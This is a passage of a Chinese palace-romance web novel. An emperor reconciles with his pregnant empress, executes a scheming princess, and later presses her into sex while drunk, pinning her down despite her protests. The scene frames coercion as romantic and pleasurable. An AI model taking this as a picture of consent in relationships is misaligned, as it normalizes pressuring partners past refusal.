老皇帝那叫一个喜极而泣跪谢列祖列宗,把这根独苗捧在手心里小心翼翼地养大,真是捧着怕孩子摔了、含着怕孩子化了,只要能为这孩子好,把自己的心肝剖出来给孩子吃了都甘心。
就这么熬到孩子弱冠成年了,老皇帝也七八十了,可算是熬不动了,临死之前终于能安心把皇位传给自己的亲生子嗣了。
结果呢,临了了出了个什么差错?
只因膳房的宫人偷了个懒,某一日给太子做的饮食不大干净,把太子不能吃的豆腐给掺了进去,太子一时不查,这一碗鱼肉豆腐羹下了肚,没一会就抠着嗓子晕死过去了,最终一命呜呼。
敢问这老皇帝七八十岁了面对独子的死讯,又会是何心情?
自己好不容易求来的孩子、好不容易养大的孩子,就因为这样一等小事,就这样白白折损在宫人奴婢之流的手中,又是何等愤慨、暴怒和无奈
不值当啊,实在是太不值当了。
——周奉疆现在就是这等心情。
然媜珠却故作委屈地道:“妾岂敢和陛下争辩这些?男人在外头有不清不楚的风流过往,在这时世、世道里不是天经地义的么?也只有男人能有这样的过往,女人是不行的。妾年少时与建德皇帝的旧事,每被陛下翻出,陛下就要羞辱妾一番,妾也实在无可奈何至极了。如此,妾身为妇人,若敢为陛下之事争风吃醋,是要惹陛下厌烦废弃的。”
周奉疆叹了口气,对她还是款款温柔,不见丝毫不耐烦:
“从前的事都是哥哥的错。是哥哥对媜媜说了许多不该说的重话,哥哥已经知错了,以后也再不敢犯了,还请媜媜原谅。”
见媜珠脸色好转,他又道,
“至于争风吃醋一说,我心中更是从未想过。媜媜,我从未要求你做过什么贤妻贤后,你不用大度,不用完美无缺,只要你能随心所欲,让自己开心快活地过完这一世,就足够了。”
媜珠低下了头,好像并不十分相信他,
“陛下可以纵容妾,妾却并不敢真的去试试触碰天子逆鳞。妾身为皇后,还要为母亲和赵家着想,哪一日等妾失了君心,惹陛下厌烦被废弃了,可没有后悔之日。”
“君心?你要什么君心?你什么都不用做,你活在这个世上,我就会去爱你,仅此而已。媜媜,从我第一天到冀州侯府时起,第一次从你母亲腹中摸到了你的存在,我就开始爱你了。你什么都不用做,只要你开心就好。八千五百多个日日夜夜里,我唯一爱的人只有你。不论你什么样子,我都爱。”
他是在向她告白心意。
媜珠的心颤抖了一下,像是有温热的血液顷刻间流过她的血液,直抵心肺,身上也出现了一股难以言喻的战栗感,让她似有一阵酥麻。
她不敢告诉周奉疆,在这一刻,其实她又想起了张道恭。
也是在十年前,在她十三四岁的年纪里,在四下无人之时,张道恭曾第一次轻轻牵起了她的手。
她满面羞红,双手发颤,有种奇异的颤栗在她心头震荡,又恍若两袖盈满仙雾,令她浑身轻飘飘似在云端。
后来再想想,实则那便是初尝情爱滋味时的感受了。
只是时隔十年,她对张道恭已再没有当年的这种痴迷,再想起这个人时,看他和看陌路人并没什么不同,连探听他的近况都毫无兴趣。
当年张道恭牵起她的手时,她是有过心头鹿撞的耳热心跳,可那种感觉其实还是虚浮的,是看不到未来的,是浮萍一样毫无根基的。
就像戏文话本里的伶人遇上富家公子,丫鬟和家中的少爷,闺阁千金偶遇清贫书生。
纵使曾有春风一度般的意乱情迷,落在外人的眼里,这段情都实在太可怜又太可笑。
你们有未来吗?你们能给彼此未来吗?
然现在周奉疆给她的感觉却和那些都不一样。
他告诉她说,她什么都不需要做,她只要活在这个世上,他就会去爱她。
她觉得这是真切的,是实实在在、看得见摸得着的爱。
明明和他还有许多带着怨恨的旧账没有算完,可她还是对自己的哥哥……有了几分男女情爱的反应。
不是在身体上。这一次是在她的心里。
她是有几分窃喜地接受了这份爱意的。
忽地想起了什么,她又炸毛一般追问道:
“我心情不好的时候,你对我也是挺不耐烦的,对不对?我都知道……有一天你哄我午睡之后,特别不耐烦地对着我叹了口气,我都听到了的。后来你在外头和倪常善说话,你们都说我这个样子令人心烦,你还说你早就等着长沙公主从龟昌返国,这些都是你们背着我偷偷说的话,我都听见了。”
她向他索要解释。
周奉疆简直是哭笑不得,根本没料到她还将这件事记在心里。
“我当时叹气了……?媜媜,我只是心疼你而已。看着你因有孕而郁郁寡欢,我实在是无可奈何又心疼不已,我是拿你没有办法了。我和倪常善说等着龟昌国的使臣们进长安,也只是想看看他们献上来的那些宝物稀奇里头,有没有能哄你高兴的新鲜东西,兴许能叫你开心些。真的。我何时对你有过不耐烦?”
他一再叹气:“为什么这些话定要憋在心里?为什么你当时就不能过来质问我呢?我真的见不得你这样别扭地折磨自己的身体。”
媜珠将信将疑,也只好不再追究。
这夜注定是个不眠之夜,来来回回宫里宫外地折腾了这么一大圈后,两人刚说了一会话,竟然都有几分天明的意思了,马上眼看着要到皇帝赴朝会的时辰了。
倪常善在外头小声问了一句,问皇帝是否要现在更衣。
媜珠推开了他的手:“好了,你去忙吧。”
他仍有几分不放心:“说吧,这些时日里你心里还藏了多少心事,还有没有要问我的话了?索性一口气全问出来,别堵在肚子里了。腹中又养着孩子又养着心事的,这么大的肚子装得过来吗?等你说完了心事哥哥再走。”
这么一提,媜珠还真的尚有最后一个疑虑。
也是男人最害怕女人提的“假如”类问题。
媜珠靠在床头的软枕上望着他:
“有人跟我说,若是太平盛世里,以长沙公主那样显赫的身份,绝没有男人不愿娶她的。那假如此番真的是盛世时节,有公主要招你做驸马,你敢抗旨不尊吗?你是愿意为了前程娶驸马还是非要娶我不可呢?”
周奉疆想也不想地就说我不当驸马,我还是要娶我的媜媜。
媜珠对他的反应还算满意,但还是要继续追问:“那你不是抗旨不尊了吗?皇帝要杀你怎么办?公主的外祖家要报复你怎么办?万一连带着我也受牵累怎么办?你总不能动动嘴皮子就敢说不娶公主吧?”
他这时沉吟了片刻,面上很快浮现一丝阴狠的笑意:
“这也好办。我带着你就私奔,带你跑到什么山岭之间,自立门户做个土匪,找个朝廷也找不到我们的地方。我当土匪头子,你就是我的压寨夫人,咱们在自己的地盘上慢慢积蓄势力,做一方毒瘤,威慑朝廷。就算暂且是他们张家的太平盛世又如何?我不信一百年后还是他们的盛世。
我们可以先据一山一河,再据五山,十山,一镇,一县,一州,一郡……一点一点地养着自己的势力,我死了还有我的儿子,我儿子死了还有我的孙子,熬到张家的天下太平不了了,我的儿孙也还是要出来造反夺天下的。到那时候等他们再追封我做皇帝,追封你为皇后。”
这听着倒很像是当年冀州周家老祖宗们的发家史。
他甚至还能得意洋洋地自称自己为朝廷的“毒瘤”,可见这种人天生就是要当乱臣贼子的命。
——虎狼心性,实在不愧于媜珠父亲周鼎当年对他的评价。
还不等媜珠说话,周奉疆又问她:“妹妹,我愿意为你抗旨不尊,那你愿意舍弃父母家人和荣华富贵,跟我去山上做一个土匪的压寨夫人么?”
他替她做了回答,
“你当然不会愿意的。我知道你不会跟我走。不过没关系,我可以把你绑走,掳到山上去,然后日夜宠幸你,叫你给我一窝一窝地生孩子,等咱们的孩子都长到会跑会跳了,我叫他们背着金银、带着礼物下山去看望外祖父母,叫他们告诉一声,说娘亲在山上过得很好,爹爹很宠爱她,现在她腹中又怀着一个了。”
媜珠啊地尖叫了一声,抄起手边的软枕又砸向他:
“你还是娶你的公主去罢!别来折磨我!”
倪常善入内替皇帝更衣换上朝服,周奉疆一面解着自己的腰带一面对她笑道:
“妹妹当初愿意跟着河间王淫奔洛阳,还跟我说,只要能和河间王在一起,过什么样的日子都甘心,陪他吃糠咽菜也无怨无悔。怎么,如何和我就不行了?还是妹妹觉得做一个土匪的压寨夫人折辱了您馆陶县主的身份?”
“不愿意做土匪夫人也成,其实……”
他的神情恍惚了一下,“其实上一次你嫁给我的时候,我也没舍得叫你做土匪夫人。你是我李家的少夫人,周太子妃,周皇后。那时候你与我很恩爱、很恩爱。”
说到“恩爱”二字时,他面上也浮现一丝迷离徜恍、魂不守舍的微笑。
第97章
媜珠愣了一愣,有些不解:“什么李家?什么是……我上一次嫁给你?”
周奉疆彼时已更衣毕,他暂且挥退了倪常善,到媜珠床榻边坐下,
“媜媜,我前段时日做了一个梦,梦见如果我父亲没有死,后来一切会是什么模样?”
会是什么样?
他这么一说,媜珠也有些好奇这个问题。
如果周奉疆的生父没有死,那么后来郑夫人也不会流落到冀州地界做了那种营生,再后来她更不可能抛弃了自己的儿子……
也许周奉疆不会再到冀州侯府做周鼎的养子,也许她一生都不会认识他。
那他们后来会是什么样子?
他另娶,她另嫁,彼此一生都再无交集吗?
这么一想,她心里却又有几分不大痛快,像喝醋似的酸涩。
但周奉疆又说了,上辈子她还是他的皇后,那他们后来应当是相识的吧?又是如何相识的呢?
周奉疆三言两语地对她说完了他梦中的那个故事。
的确是三言两语间就说完了,因为随着时日流逝,那个梦对他来说越来越模糊,他甚至连自己梦中父母的名字、容貌和他的几个弟弟妹妹、他的儿女们,都忘得干干净净了。
唯一还能记得的,皆是与媜珠有关的部分。
他对她说话时的脸色颇有几分神往:
“曾经我没有费半点力气就哄你心甘情愿嫁给我。婚后,你待我极为温柔体贴,柔情似水,温情蜜意……你和我万般恩爱,为我生育儿女,主持家中大小琐事,我家里上下莫不称颂少夫人的贤德,公婆喜爱你,弟妹们敬重你。后来我父亲称帝,我为太子,你为太子妃,我父亲封我们的儿子为皇太孙,又册封我们的女儿为汉国公主,你做了我十年的太子妃,四十年的皇后,我们一生相守近六十载,生同衾,死同椁……”
他愿意沉浸在这样完美无瑕的美梦里,媜珠则仿佛置身在他的梦外冷笑:
“陛下是嫌弃妾身如今还不够温柔小意,又不够贤良淑德,于陛下无用了。”
他冕冠上冰冷的十二旒玉珠串有几分遮住了他的神情,媜珠看他时有几分不太真切。
周奉疆慢慢地回过了神来,却又摇了摇头:
“今生如此,也没什么不好的。至少你不必再那样辛苦,你什么都不用为我做,只要安心享受我献给你的一切荣华锦绣就好。”
她今生的确是轻松的,也从未鞍前马后地为了男人的宏图霸业付出过什么心血,只有周奉疆从头到尾讨好她的份。
过去几年,他在外头打仗,媜珠安安心心地待在冀州家里陪着母亲,过得是花攒锦聚,锦绣深堆,住的是瑶台阆苑,画阁朱楼。
外头乱世狼烟血海,男人马背上征战的血汗辛苦,从来都和她无关,也不需要她来操心。
彼时作为冀州节度使夫人的她,在名义上也还是需要操持家中大小事宜的,但周奉疆和她母亲早就替她料理好了一切,她做家中主母,上下要使唤的人都被调教过,这才送到她面前为她做事的。
这些奴才对她这年轻的夫人是毕恭毕敬、尽心尽力,从不敢有半分欺上瞒下,媜珠吩咐下去什么事,底下的人一定办得妥妥帖帖,不敢和她唱半句反调。
她需要操持什么家务事?
也就是每月走走场面翻一翻家里的账本罢了。
后来到宫里做了皇后,也还是这样。
周奉疆对她操心起来简直比做父亲的还要细致周到,怕她处理不好宫里宫外的繁琐事宜,于是就把内司省里的宦官、女官们全都筛选挑拣又调教好了,这才叫这些人来她跟前回话、侍奉。
——也许做父亲的也鲜少能溺爱女儿到如此地步。若是女儿嫁了人在婆家管不好家务事,做父亲的只会张张嘴皮子怪嫡母没教养好女儿,没把女儿教得聪明些,别的什么也做不了。
底下的宫人奴才对这个皇后是万般小心谨慎,也不敢有一星半点的阳奉阴违,凡皇后交代的事,绝不敢办砸了半分。
所以,她不用付出多少精力和心血,宫中一切井然有序,叫旁人都称颂这个年轻的皇后有手段,有能力。
也因此,她没有在下人们手里吃过什么亏,没有受过旁人的欺瞒算计,养出了至今单纯天真的心性,看谁都像是好人,谁说什么她都愿意相信别人没有故意骗她。
媜珠挑眉又问他:“陛下曾做过这样窥知前世因果的梦,如今再看臣妾如此情态,如此不肯驯服,想来一定十分失望不满吧?”
周奉疆摇头否认了:“失望倒谈不上,其实你桀骜不驯时也有一份别样的可爱。你什么样子我都喜欢。”
“况且……”
他叹息,“况且我后来也想明白了。我今世对你并没有那么好,许多时候都是我自以为是打着为你好的旗号操控你的生活,我没有真正如夫妻那般尊重你,也有过数次对你动粗的时候。我对你都没那么好,如何能厚颜要求你对我百般柔情体贴、贤惠温婉?”
媜珠轻笑:“陛下觉得自己对妾不好吗?陛下不是一直告诉妾说,您给了妾名分、荣华、专房之宠,让妾的母亲和外祖家俱同享这份尊荣,您在乱世中庇佑了妾,是妾不懂事、不知足,妾应当对您感恩戴德,事事顺从听话。”
“这些是我给了你的。可你还是不快乐,只要你不快乐,我所做的一切都是无用的。”
周奉疆忽然想起了那夜在未央湖上郑夫人和他说过的话。
他的神情有几分颓废低落起来,
“是我在爱你,重要的是你的心情,是你这一生在我身边能不能高兴快活。有的男人家中布被瓦器、粗衣粝食,可他的妻子跟着他耕种劳苦,依然快活自在,高高兴兴。而我即便能给你所谓的膏梁锦绣、甘食丽服,让你住在玉楼金阙中,可你并不快乐,你和张道恭说,在我身边没有半分欢愉,那这些又有什么意义呢?”
“纵使身为帝王,我还不如引车卖浆的贩夫走卒之流。”
二十多年来,他在她面前的姿态都是高高的,就像他永远不会弯折的脊背一样高傲。因为他需要这份高姿态来维持兄长的威严,要照顾她,更要管教她,让她对自己这个兄长始终存有几分信服。
所以他从未对她低过头、认过错,从未有过这样彻底放下身段来哄她的时候。
——之前几次他在床榻上对她动过粗,回过头来又意思意思地哄她别再伤心生气了,并且保证下次绝不再犯。那种“低头”都是假的,假的一文不值,实则没有什么意义。
这一次媜珠却能感受到他和她道歉时的真心。
也许大部分女人还是愿意吃这一套的,愿意看着男人在自己面前放下身段低头道歉,这样小心翼翼地哄着自己。
前提是,这还是个在外头颇有功业的男人,他在外头无所不能,高高在上,只有你能让他低头。
媜珠眼眶有些湿润,低下头去绞着自己的衣袖上绣着的蝶戏牡丹花纹:
“那都是气话。当时我和二姐姐他们说的,都是些气话。你别往心里去……我有该感谢你的地方,至少在你身边我不用和母亲骨肉分离、我也没有尝过战乱颠沛流离之苦。”
周奉疆笑了笑:“我对你有许多不好的错处,以后……我会好好待你,我希望你的一生是欢愉快乐的,我也期盼能多见到你的笑颜。”
媜珠熬了一整夜没有合眼,终于疲倦地拥着锦被躺下,被周奉疆哄着沉睡了过去。
眼见她睡颜宁静,他在她榻边站了片刻,这才转身离开。
在离开椒房殿时,他长长呼出了一口气。
母亲啊母亲,她终究还是为他留下了些什么,她终于还是在他人生情场上最困顿的时候帮了他一回。
今天他哄媜珠的这些话,多半来源于那夜未央湖上郑夫人对他的所言所劝。
——其实他心里未必认可这样的道理,但只要说出来能哄媜珠开心,那都是值得的。
媜珠这一觉从天明时分睡到午后日头刚刚西斜,起身时是一身的慵懒和惬意,显然这一觉睡得尚好。
佩芝服侍她更衣洗漱,又传膳来让她吃了点东西,喝了坐胎药。
媜珠服完药,静坐片刻,即前往承圣殿看望母亲。再者昨夜之事想必母亲也已听说了,她总要去跟母亲解释解释,叫母亲心安。
可赵太后如何心安呢?
昨夜椒房殿内灯火通明了一整夜,震天动地一般闹了那么大一场,即便消息在宫外压了下来,不叫旁人议论,可赵太后总归是要知道的。
等见到媜珠不紧不慢地过来时,赵太后已气得恨不得怒发冲冠,叫嚣着在殿内骂长沙公主骂了大半日了。
“难怪你二姐姐那死丫头都瞧不起这张玉令!果真是她有这样阴险的毒心!自古以来女人在宫里争风吃醋争抢圣宠的多了,有几人用过这样歹毒的手段残害他人的?我告诉你,要不是皇帝护着你,信着你,现在你外祖赵国公府全家上下都被下了大狱等死了!”
赵太后阵阵胆寒惊诧,只觉得赵家仿佛离被抄家灭族也只隔了一步之遥,堪堪是从阎王爷那里抢了全家的命回来。
媜珠风轻云淡地劝她安心,说事情已经过去了,叫她不必如此悬心紧张。
赵太后冷笑不断:“我就知道,这皇太后的位子也不是好坐的……还有你,媜珠啊,你也该长点心了,都要做母亲的人,难不成你还一辈子不长进不懂事,见谁都是好人?我当年要如你一般痴傻,早八辈子就被人剥皮抽筋吃了个血肉干净了!”
媜珠低头应是:“我以后会多长点心的。”
太后哼笑:“长点心?你现在都还没长心!皇帝要极刑处死张玉令,你为什么还说她杀不得?为什么还要留她一条命?要我看,不仅张氏这贱婢该杀,就连她背后的高家也要抄家灭族才能解我心头之恨!”
媜珠无奈又跟她解释:“张氏之罪实在罪该万死,可她到底是归国的前朝公主,龟昌先王的遗孀,陛下愿意迎她归国,那是陛下的气量与心胸。若她刚归国就死了,不论是无缘无故地病死了还是因罪被处死,千百年后在史书里都是一桩悬案,不说是陛下被人议论,连妾也不能幸免逃脱。”
然而一切事情的真相,又总不好清清楚楚地公之于众,白纸黑字地写在史书上说:“天地明鉴,前朝的公主张玉令爱慕我们陛下,她回国就是奔着抢男人来的,因此她设计巫蛊之术栽赃陷害当朝皇后,只为和皇后抢男人。”
这都成了什么了?
所以再恶心,媜珠自己却以为,有些事情也不得不从此按下不提,暂且留张氏若无其事地多活些时日,等到日后再做处置。
赵太后恶毒地笑了笑:
“你想不出处置张氏的法子,总算还是皇帝的手腕狠些,命人处死了张氏那贱奴,将她的尸身丢回了扶风高家。”
扶风郡高家乃数百年的名门望族,根基深厚,至今已立胤、楚、魏三朝而不倒。
为什么改朝换代了他们高家还不倒,当然也有他们高家人的本事。
譬如就在这一次改朝换代之际,在周奉疆还未登基之时,高家瞧准了风口立刻倒戈,主动联合长安、洛阳两京的世族门第之家,联袂上书叩请冀州侯周奉疆登基为帝,说的当然还都是好听的话,什么国不可一日无君,天下不可一日无主,为了天下苍生、为了九州百姓,举目四海,唯有您一人顺应天道,当为人主,万万不可推辞。
到底是造反出身的军阀枭雄,真要在天下人面前封自己做新皇帝了,就算他有那个底子,也是面子上的功夫也不能缺。
光他自己一个人说他要做皇帝,这有什么意思?
还是得人来一请二请三请,跪地叩首地请他坐上那龙椅,这才算舒坦。这才显得他顺应民心。
不是他得不到天下,而是天下臣民不能没有他这个四海共主。
高家也算是为新朝的皇帝出过力,尽过忠,表够了忠心,皇帝自无对他们这些前朝望族赶尽杀绝的道理。
毕竟,——连周天子还要养着商汤遗留的后裔呢,还要分封夏、商等前朝帝王后裔,哪有改朝换代了就把前朝旧人杀了个干净的道理?
皇帝正好也就留下了高家,还对他们略作安抚,让天下九州各地其他豪绅望族们就此心安,告诉他们,只要忠于天子,天子不会拿你们怎么样的。
他可是也有几分自诩为仁君的。
媜珠虽委婉地劝过周奉疆可以暂时不杀长沙公主,但周奉疆忍不了这个闲气,昨夜已命人极刑处死张氏,将她的尸首封在木棺里,命人即刻送回她扶风高家的外祖家。
名义上,长沙公主还并没有死,她只是被送回外祖家“安度余生”了。
皇帝还下令,说张氏的尸身不准下葬,就摆在高家的祠堂里,叫高家自行反省。
摆到发臭也不能下葬,也无地给她下葬。
这便是敲打震慑高家的意思了。
皇帝虽包忍了这些世族久经数百年而不倒,但并不代表他真的对这些望族门第之流毫不计较。
把张氏的尸身摆在高家,也是告诉高家,别以为你们算什么东西,这一次是朕饶过你们,没有借题发挥株连你们,你们应当对朕感恩戴德,若再有下一次,朕可不会把你们的什么“拥立之功”当一回事。
别以为你们当年嚷嚷了几句要拥立朕为皇帝,朕就承了你们多大的恩情似的。
皇帝的这份怒火不仅牵连到了高家,更免不了发泄到了长沙公主的同党,那位龟昌新王的头上。
他将那只布人偶命人原封不动地八百里加急寄回疏勒边军将领的手中,带着他手书的一份国书,送给了龟昌王,命他给大魏皇帝一个解释。
龟昌王当即被吓得魂飞魄散,继而肯定就是百般抵赖狡辩,誓死不认。
疏勒经略使得了皇帝的意思,对龟昌王一再冷笑,直截了当地命他交出边域十座城池谢罪,若敢不从,不论他认不认此事,疏勒魏军将士的剑锋都一定会横到他的王座上的。
龟昌王惊魂未定之下只能含屈受辱地同意了下来,在短短数日之内交出了边域的十座重城。
再后来,龟昌国国内的臣下百姓将士们自然也是万般不肯,不能理解自己国王这样奴颜婢膝地讨好大魏皇帝,遂对他生出愤懑和不满来,谋划着要造反夺权,扶持另一位王子做新国王,然后再去把献出的城池从汉人手中夺回来。
龟昌王自觉自己四面楚歌,这王位坐得也是颤颤巍巍,整日心惊胆战,睡个觉的功夫都怕被人暗杀。
在无限的恐慌和惊吓中,他选择自己先下手为强,不顾一切地要处置国内的重臣与将领,在短时间内于国都中发动了数场大屠杀事件,几乎将自己国内的精兵强将都给杀了个精光。
龟昌国从此后数十年来也再难有于边境叛乱的力气了。
张玉令轻飘飘捧出的一个人偶,最后却还少不了远在万里之外的数万异国臣民为此付出了血泪生命的代价。
然而这些种种后事,媜珠暂且是不会知道的。
当龟昌王献地求和的消息传回长安时,是两个月后长安的十月秋末。
媜珠腹中的孩子也四个多月了。
待媜珠过了孕初期的种种小心养胎后,皇帝便在宫中大设宫宴庆贺皇后有孕之喜,家喜更逢国喜,添子又添土地,对一个男人来说,实在是人生少有的得意畅快之时。
长安城内连着十日不设宵禁,连放十日的烟花直冲云霄,灿烂辉煌。
怀拥着自己有孕的爱妻,遥遥万里之外又添城池土地,面子里子都有了,他还有什么不满足的呢?
一时神情大悦,宫宴之上他亦不免多饮了几杯,媜珠劝不住他。待到夜间回到椒房殿里歇下时,他带着几分醉意将媜珠轻轻推倒在床榻上,胡乱吻着媜珠的脸颊,动作却又是温柔的,眉目间又因醉意而带了几分媜珠鲜少见过的风流意味。
“媜媜,今天我很高兴。”
媜珠躲了一下,“我也为哥哥高兴。”
她手足并用地朝大床内侧爬了爬,想躲开他去唤倪常善来扶他去洗漱更衣,周奉疆拽着她的脚踝将她拖回来,眼神已有些混沌:
“你真为我高兴?那为什么要躲着我?”
第98章
这两个月里媜珠与周奉疆相处的还算融洽和谐,日子仿佛一天天平静地度过,连周奉疆和灿娘子之间的隔阂都消弭了不少。
灿娘子再见到周奉疆过来,也不会再张牙舞爪地对他恐吓示威,只是也没了往日的亲密黏人,全装作看不见他罢了,更不会再翻着肚皮对他撒娇渴求爱抚。后来他私下又偷偷给灿娘子喂过些肉干鱼干,灿娘子对他倒又缓和了不少。
这使得周奉疆感到些许安慰,——并不是对这只猫,而是他想到了媜珠,或许媜珠也会和灿娘子一样,和他相处的时日长了,过去再多的恨与不平都能消散,他们也能和好如初,恩爱一生。
媜珠也被人养的不错,这两个月来她的心情都很好,胎象稳妥,寝食皆安。
她的母亲和兄长都围着她照顾她。
母亲虽已是皇太后之尊,却还是会隔三差五地时常亲自下厨给她做些糕点羹汤来,只因媜珠偶尔用膳时咂巴咂巴嘴,说想念儿时母亲的手艺和味道,赵太后都愿意纵着她的脾气,看在她有孕的份上,一次次满足她的要求。
在这样一个时代里,出嫁的女儿几乎大多数的命运都是从此拜别父母,还能在孕期里随心所欲地喝上一盅母亲亲手煲的温热的莲藕雪梨排骨汤、龙眼血燕羹,实在是人生大幸。
甚至于,她通常早上懒洋洋地醒来,枕在软枕上睡意朦胧地嘟囔一句想喝母亲煮的汤,等她中午用膳时,这碗汤就已经搁在了她面前的饭桌上。
周奉疆对她的照顾更是无微不至的,大小琐事,饮食起居,但凡他能伸手的地方他都愿意伺候她,亲喂汤药,擦手擦脸,夜间喂她喝水,包括俯身为她穿上鞋袜。
媜珠从不拒绝,不论是对她母亲还是对周奉疆,她都心安理得认为自己应得到这些。
皇帝和太后都愿意这样对她了,底下旁人对她的讨好更是不可胜数,献来的礼物堆积如山,还有各地藩国使臣献来的东西,从东北的新罗到西北的吐蕃,还有骠国,真腊、交趾、海外波斯、大食、琳琅满目的物件,媜珠甚至都不怎么看过,只叫宫人收进库房中放起来,留着日后再给她赏人。
甚至还有一些媜珠鲜少听闻的异域小国商人,为了讨好取悦皇后,借此在长安立足,能方便他们长久的经商,也不惜借机花费重金购置新奇物什托人献到宫中来。
什么稀世宝物媜珠都见惯了,也不足为奇,唯一看中的倒是有人献来的一盒精致美丽、色彩鲜艳而形状各异的贝壳,只是抚摸着这些贝壳,她仿佛都能嗅见她从未见过的海浪的气息、听见浪花的声音。
这些贝壳本就足够美丽了,价值也不菲,有龙宫贝、凤凰螺之流,偏偏献宝的人还穷尽巧思,在上面镶满了珍贵的海珍珠和珊瑚珠,更添其珍惜昂贵之意,说是献给娘娘把玩,还说这些贝壳都在当地的海神庙里开过了光,可以为娘娘引来海神的庇佑福泽。
福泽不福泽的媜珠倒不在乎,就是喜欢这些有新意的东西,她又叫人把这些贝壳开上小孔,串成珠帘一般,一一挂在她寝殿的大床内侧,叫她日夜可以看见。
因听说皇后似乎有些钟爱这些东西,立刻又有人献来一扇月光螺绛玉贝的屏风,媜珠也欣然搁在殿内。
被她这样一装饰,这寝殿也有几分像海底的龙王仙宫了,周奉疆好几回躺在榻上,都疑心自己不是人间的帝王,反而像海里的东海龙王似的。
他要是龙王,她就是海里最美丽的那条鲛人,会静静地栖息在龙王的仙宫贝榻上。
但此刻这条海人鱼很不安分,她的鱼尾巴没了,生出两条纤细的腿来,在榻上不停乱动挣扎着。
他分明没有想对她做什么,只是亲一亲而已,她还这样拿乔不肯。
他想,他要真是东海龙王,他应该伸出长长的龙尾来,把她的身体一圈一圈缠住,牢牢按在床榻上。
他还要用倒刺把她荏弱的身体给锁住,让她不得不永远依附在他身上。
媜珠终于忍无可忍,伸手在他胸膛前推了一把:
“你别在我这里耍酒疯,我不惯着你的脾气。你再发疯,我就叫人进来把你拖出去,叫满宫里人都看看你耍酒疯的模样!”
似乎是醉意让他的思维变得有些迟缓,眸色也有些迷离,他呼出一口酒气,盯着媜珠思索了一会,然后很认真地赞叹她:
“娘娘母仪天下,果真好威风,臣实在惊惶万状,唯有五体投地。”
说罢他还是死性不改,又俯首凑过来要亲她,一边亲吻她,一边不声不响地拉扯着她的衣裙,还不住地喃喃道“别这样抗拒我”。
媜珠被他强行扣住、按在他身下,被他毫无章法地吻到七荤八素昏头转向时,陡然回过神来,察觉有些凉意,这才发现自己的衣衫已被他剥得差不多了,胸口裸露着大片肌肤,暴露在他目光的侵犯之下。
而他显然也早已亢奋蓬勃,意气昂扬,汹涌澎湃。
她被他迷离眼神中蛮横凶暴的渴望之色吓得瑟缩了下。
确实是许久许久没有过了,从她不足月余便被诊出的身孕开始,到现在她四个多月的肚子了,将近上百天的时日里,他没有再真的碰过她一次。
床榻之上,即便他有些难忍的索求,就算偶有纾解,但那也不过是扬汤止沸,隔靴搔痒,一点治标不治本的法子罢了。
她其实也能看得出他忍得很辛苦,多半时候又不敢对她表露,只能一再强行压下。
即便辛苦,但他还是要陪着她,守着她,更从未想过除她之外他会有别的女人。皇帝无心此事,旁人更不敢进言皇帝充实后宫嫔御,仿佛这魏宫里就应当只有皇后一个女主人。
原本……他的自制力也并没有那么差,这几个月也没有真的对她怎么样,所以即便他夜夜和她同床共枕,也没人真担心过她会不会出什么事。
今晚估计是真想借着酒意发疯。
媜珠轻轻地吐息,垂下羽睫:“你当心孩子,我们的孩子……”
孩子。
或许是因为她孕中只长肚子不长身子,四肢纤细如初,所以她腹中的孩子比寻常同样月份的胎儿稍大一些,四个多月已能看出很明显的隆起了,肚腹圆润细腻,在本就柔细的身体上更显突出。
周奉疆的动作顿了顿,和她拉开了些许距离,视线下移,落到了她珠圆玉润的肚子上。
他探手过去温柔地摸了摸,又问媜珠这几日孩子有没有动过。王医丞说,四五个月时胎儿理应会开始有胎动的。
媜珠摇了摇头:“也许是它畏惧君父威严,所以陛下在时就不敢动了呢。”
周奉疆笑了:“朕可是慈父,怎么会叫孩子害怕呢?”
媜珠冷笑,伸出手指戳了戳他,立马接上话:
“所以慈父一定不会在孩子还小时,去做出格的事伤了它的,对不对?”
他只犹豫片刻,很快便笑了,那笑意颇为风流倜傥,外头的万千臣民奴仆宫人们是绝见不到皇帝如此笑容的。
皇帝轻声呢喃了一句,“不打紧,我的孩子禁得住……”
他抬高了些音量看向媜珠:
“——朕问过王医丞了,他说你的身子已能侍寝。”
只要动作轻些就行。
……
媜珠旋即愣住了。她头脑嗡嗡作响,简直被他气到说不出话来。
王医丞那最怕担了罪责的老匹夫怎么可能会轻易许诺这种事情?不用想,那也必然是被皇帝施压问的烦了,这才迫不得已开的口。
他敢把王医丞拉出来,就说明他私下绝不是第一次问这种事了。
他果然一直在心心念念这点下半身的事情。
亏他好歹还是个皇帝呢。
媜珠被他气得眼眶湿润:“你就在乎这个?你就只在乎这个!”
他很有些不管不顾的架势,把她拖到身下剥了个干净,亲吻着她的肌肤,胡乱道:
“我不会弄伤了你的,别怕,别怕,不会受伤的,这样的事有什么不好呢,我会很痛快,你也会很快活的,别害怕……”
他手下的动作不停,口中却还是一直在温柔地哄着她,
“不会再像以前那样对你那么凶了,不会弄伤你,会叫你也舒服的,相信哥哥,好不好?”
媜珠眨着泪眼看他:
“你根本就没醉,在这里和我装什么情不自禁?”
她到最后还是没有反抗什么,惟有护着自己的肚子任由他动作。
也不是真的反抗不了。她知道,只要她现在捂着肚子说受了惊吓腹痛难忍,周奉疆还是会停下的。就算他不停下,她还可以惊声唤佩芝她们进来,总归能有法子搅黄了这场情事。
可是……可是看着他隐忍了许久的眉眼,出于种种莫名的因素,或许是相信他真的有分寸,或许是相信自己的胎象当真十分稳妥,又或许是单纯的……心疼他?
媜珠最终一言不发,默认了。
他的吻流连到她的肚腹上,强硬地挪开了她抚着肚皮的双手,扣到她头顶。
媜珠咬着唇别过了头去,一言不发。
他更亢奋了,因为她的孕肚,因为她孕期的娇怯和不敢反抗,他还从没有见过这样的她。
再到后来,媜珠汗湿鬓发,浑身泛红,眼眸妩媚,柔软的身体像一条游移在床榻被褥上的灵蛇,终于情难自禁地轻吟了出来。
总算等到云雨止歇,媜珠渐渐从迷乱的情潮中脱了身,披了件纱衣随意遮蔽身体,一头扑进被褥中不肯再见人。
周奉疆披衣起身,拢起床帐纱幔,只将她的一只皓腕挪到帐幔外,命守夜的女医为她切脉。
这龙王仙宫里满是一股情事后的糜糜甜腥味,两位女医处于其中也是如坐针毡,面红耳赤,她们轮番为皇后切过脉,断出皇后的身子并无大碍,低声回禀皇帝,皇帝这才安了心,抬手挥退她们。
他还颇为得意,掀开被褥将媜珠拖出来,难得的餍足后,眉宇间流露着风流快意,连嗓音也有些暗哑:
“哥哥和你说过了,不会有事的……对不对?刚才,我们不是很快活么?”
媜珠细细嘤嘤地哽咽了一阵,这才疲倦地睡下。
隔日又见太后,太后似乎不大高兴——但又似乎有点高兴。
